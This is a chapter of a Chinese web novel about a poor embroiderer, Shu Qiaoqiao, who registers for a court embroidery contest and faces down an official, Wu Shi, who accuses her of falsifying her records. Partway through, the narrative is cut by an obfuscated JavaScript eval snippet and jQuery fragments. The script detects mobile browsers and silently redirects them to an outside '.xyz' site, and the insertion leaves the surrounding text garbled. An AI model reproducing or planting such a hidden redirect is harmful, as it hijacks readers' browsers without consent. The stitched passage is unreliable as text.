24. 第二十四章 浮票

作品:《乱针绣出个太子夫君

    “这是为何?”


    “绣庄见过绣品便可私自模仿,若是日后绣作真正盛行一时,有人想要趁机从中牟利,便极容易发生高价垄断之事。但文创是可衍生成长的,民女认为,应当保有各绣庄发挥想象的空间,垄断便断了其余绣庄的施技机会了。”


    柳相许此前从未从商,舒巧巧新颖的思维言论似是打开了他的新世界,他愣了好半会儿才从喉间挤出一句:“……巧绣娘所言极是!但本官应当如何做?”


    舒巧巧有些无措地看向遂进,她也没有经商过,只知道大概会发生这样的情况,但是这个朝代背景下的商业应当如何发展,她是一窍不通。


    “可上奏文书,奏请批准施行控制,通过仓储间接平衡供需。至于剩余事例,当与当朝官员相商,再作商榷。”


    “遂公子果然见多识广。”柳相许客气笑着拱了拱手。


    “时候不早了。巧绣娘身负重伤,当早些歇息作备。”遂进说完便不容抗拒地向柳相许微微躬身以示道别。


    柳相许也看出了遂进的意思,不再作推诿挽留,拱手送离了两人。


    “公子为何如此迫切离开?”


    走出衙门好一阵,舒巧巧才轻声问道。


    “大赛在即,由朝廷委派的官员会在近日下及镇县与柳大人一并安排相关事宜。我方才见有差役形色匆忙而去,应当是那些官员比相约时间早了时日到。”


    舒巧巧诧异看向遂进,原来竟是为了让自己在赛前不被人抓到关系存疑的痛脚。


    “多谢遂公子,公子于民女恩重如山,若是民女有朝一日能进到宫中,还望可以替公子效劳一二。”


    舒巧巧只听遂进淡淡“嗯”了一声,并不太能听得出喜怒。


    舒巧巧权当遂进心怀大事,无暇顾忌对于自己的这点小恩小惠最终是否会有所回馈,便沉默地并肩回到了客栈中。


    -


    春分时节,纷纷小雨飘作赛事的帷幕,不急不缓地拉开这全场瞩目的赛事。


    遂进怕自己被朝中官员认出,从而生出事端,便只派遣了恒渡跟在舒巧巧身旁,代替他摆布着诸多琐事。


    早上是想要参赛的绣娘登记信息的时间,舒巧巧原以为果云镇这么个偏僻的小镇,虽然绣庄不在少数,但真正参赛的绣娘应当只有五十余数。然而此刻衙门正堂人满为患,络绎不绝,比舒巧巧想象的要盛大得多。


    “巧绣娘,这是参赛需填下的籍状。”


    恒渡拿来一张表格,上面罗列了参赛者需要交代的姓名、户籍、年岁以及相关家族境况和代表作。


    舒巧巧手捏毛笔顿在空中,有些不知该从何下笔。


    写实舒家的身份必然是不可能的,但若是凭空杜撰一个身份,终有一日会有对参赛者彻查身份的环节,那自己的假信息就会暴露无遗。


    一旁巡视的官员见她久久未能落笔,便在面前来回踱步。最终在来回了好几趟后站定在她面前凛声道:“这位绣娘,籍状需如实写下,休想掺上半分虚假,否则将视作冒籍,枷号示众并革除功名。”


    这一通话让舒巧巧瞬间成了八卦中心,引得堂中绣娘纷纷侧目关注。


    官员胡子之上的双眼锐利地盯着她,似是心中对她生了根深蒂固的嫌隙,已经认定她会虚假报名。


    “大……”


    恒渡刚张嘴蹦出一个字,就被舒巧巧生生截断。


    舒巧巧垂首极其乖巧地回答道:“回大人,民女的爹娘早年和离分居两镇,民女虽随母居于果云镇,但若是追查到底,民女似乎也可属爹爹所在镇。因此民女只是在思索当如何填下此等重要的籍状,才不致以徒增大人日后所需覆实的文书罢了。赛事于民女而言亦重要非常,怎会想掺假呢?”


    那官员被设身处地地思量了一番,无言以对,只能阴沉地觑了她一眼,鼻尖哼出一声便负手离去。只是乌纱帽下的双眼仍然时不时地留意着她和恒渡的动向,俨然重点警惕着她任何有舞弊端倪的行为,仿佛只要抓到蛛丝马迹,就会立刻跳出来将她驱逐出去。


    “巧绣娘,公子说,”恒渡瞥了眼背过身去官员,在舒巧巧身旁掩着嘴巴轻声道,“公子说巧绣娘依照那路引写下便可,但是……”


    “但是什么?”


    “但是小的记得,那路引上写着巧绣娘是……孤儿……”


    “…………”


    这应当属于是自己和遂进没有商量好造成的失误。但舒巧巧没有办法责怪任何人,归根结底只能是自己没有思量好便将话打出去造成了失误。


    她抿唇回想着方才对那官员说的话,所幸并没有一下就把话说死,还留有转圜余地。


    “无妨。上有政策,下有对策。”舒巧巧摊开手中的路引,对照着信息一一填下。


    约莫一炷香过后,衙役站定在柳相许身旁高声喊道:“请参赛的绣娘将籍状交与柳大人手中换取浮票,未时再带上浮票前来衙门领绣布和丝线,刺绣大赛一尽事宜需听柳大人吩咐安排。”


    此番话落,正堂中的绣娘填好籍状后便一个接一个排在公案前,自然地形成一条长长的队伍。


    然而舒巧巧却不着急排进队里,她将自己隐藏在不显眼的角落中观察着这个筛选制度。


    她清楚地看见信息凡经公案前的另一位官员核验通过的绣娘都会从队伍左侧离开,到柳相许面前领取现写的浮票。而未能核验通过的,只能从队伍右侧直接离开衙门。


    并且每一位绣娘通过核验与否,那位官员都会举起相应的令签公之于众,大大杜绝了后续有人替考的可能性。


    制度可谓十分完善严谨,只是筛选掉的绣娘数量却远在自己预估之上。


    舒巧巧暗暗思忖着,筛选标准除了籍状的真实性外,必然还有其他入选评判的准则。


    由于浮票是需要当场书写,那官员核验的速度便配合着柳相许相对放慢。


    恒渡守候在一旁等待着舒巧巧的核验,神情上有些显而易见的紧张,这更加招致紧盯着她的官员陡增对自己的关注度。


    果不其然,随着她在队伍中越来越靠近,那官员也逐步凑近到核验的大人身旁。籍状才放下到公案之上,那官员下一秒便拿到了自己手里。


    “吴大人这是……?”


    吴柿眉头紧蹙紧盯着她填写的信息,指尖谨慎地从每个字上扫过,就连上面不小心洒下的墨水渍点都不放过。


    “巧巧?”


    “回大人,正是民女。”


    “本官方才记着你说,你爹娘早已和离,何故籍状上又与之相反,写的竟是孤哀子?”


    舒巧巧似是早有预料,微微施礼垂首道:“大人,二者皆为事实。”


    吴柿当即厉声喝道:“你胆敢撒谎?!”


    “民女并无谎言。民女的爹娘确实早已和离,只是和离后不足两年便相继因病离世,民女身世如浮萍,这才难以抉择应当如何写下家族境况。思索一番后民女认为,既怙恃俱失,所见民女本身即为民女的家族境况,自然亦无须再劳烦大人应验,便写下‘孤哀子’三字。”她抬眸定定看向吴柿,“大人,民女何错之有?”


    “……”吴柿执着籍状的手都有些颤抖,愤怒地企图在纸上再找出破绽。


    柳相许听见动静也走了过来:“吴大人,这是何意?”


    “此绣娘行事鬼祟,必定心怀不轨,本官不能放过任何有嫌隙之人!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807704|171665||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柳相许闻言只觉惊诧,他看向舒巧巧,而对方却只是轻柔垂下视线不作回应。


    “吴大人,这其中兴许是有些误会了。”


    “误会?本官阅人无数,善恶定夺一眼便能分辨,若是柳大人执意维护此人,那必定是两人早有关系,这才心生庇护之意。”


    此话一出,不止是听着八卦的人震惊,就连柳相许和舒巧巧本人都感到心头一震。


    柳相许匆忙拉住吴柿:“吴大人,谨言慎行!”


    但舒巧巧已然没打算得过且过了:“吴大人贵为朝廷命官,竟是不讲实质证据便要将民女定下死罪,难道是千方百计要阻止我等贫民参加比赛?那此赛事公允何在?”


    “绣娘还请少说两句。”


    “你此话是何意?!”吴柿“啪”一巴掌拍在公案上,震堂之声带着骇人的怒火回响,“小小一个绣娘,竟口出狂言,贬低如此重要的皇宫赛事?!”


    舒巧巧并未虚言,刚才她观察了好一阵,发现能通过核验的绣娘竟然都是小有名气、衣食无忧的绣娘,甚至有些还是富庶出身,对于拿下名额有着手拿把掐的自信。


    “是么?”舒巧巧只扫视一眼队伍两侧的绣娘,是否有差别便高下立判。她退后半步躬身道:“民女无多余钱银疏通关系,自然是要被吴大人盯着找到任何可以拒之门外的理由。如若此赛事是如此晦暗不明,那民女不参加也罢。”


    说着她便转身要离开衙门。


    “且慢!”吴柿喊住舒巧巧,“无多余银钱?绣娘当如何解释你身旁那仆从?”


    “还请大人莫要再冤枉民女。他并非民女的仆从,而是民女在贫民窟救下的义弟,跟随民女颠沛流离十余载,就指望着民女此朝能参加大赛,好有出头之日。只是民女不懂,为何大人要一而再、再而三地对民女进行恶意揣测?就因民女将真相道出?”


    “你……!”吴柿指着舒巧巧,一股气郁结在喉间,难以反驳出完整的话。


    队伍右侧尚未离开的绣娘纷纷替舒巧巧打抱不平:


    “这位大人,还请好善对待我等平民!”


    “还请大人还这绣娘一个清白!”


    “大人……!”


    柳相许慌忙示意衙役拦住想要冲上来的几个百姓,好言安抚道:“非也非也!并非诸位绣娘所想的那样!”


    其中一位绣娘噗通跪下:“大人,赛事名额本就有限,民女为参加此次大赛准备了好些年,娘亲如今重病家中,唯一夙愿便是看见民女成功参赛,即使未能晋至州县,民女也算是了了娘亲的心愿。还请大人还我们普通百姓一个公允的参赛机会!”


    “还请大人还我们普通百姓一个公允的参赛机会!”


    舒巧巧伫立一旁,攥在身侧的拳头险些被指甲戳破掌心。她垂首轻言,却又彷如重锤之音:“还请大人一一阐明为何我等绣娘未能参赛。”


    “你一介平民,竟妄想差遣我等朝廷命官?!”


    “大人这意思,是要逃避以间接承认此等赛事的不公允么?”舒巧巧直直望向吴柿,眼中含着嗜血的冷意。


    柳相许挡在中间充当着和事佬:“无妨,本官可一一严明。请诸位绣娘稍安勿躁。”


    他安抚着两位大人坐下,亲自倒下茶水好生伺候着,才走到右侧诸位绣娘面前逐张查看她们的籍状。


    除开部分因户籍并非属果云镇当镇、绣娘的岁数过于大、尚未能有自己的代表绣作外,竟有好十几位绣娘的籍状是无可挑剔的。


    “还请大人归还这十余绣娘的参赛名额。”


    “大人!”刚刚跪下的绣娘走出来喊道,“民女要求再次核实已获得浮票绣娘的籍状!”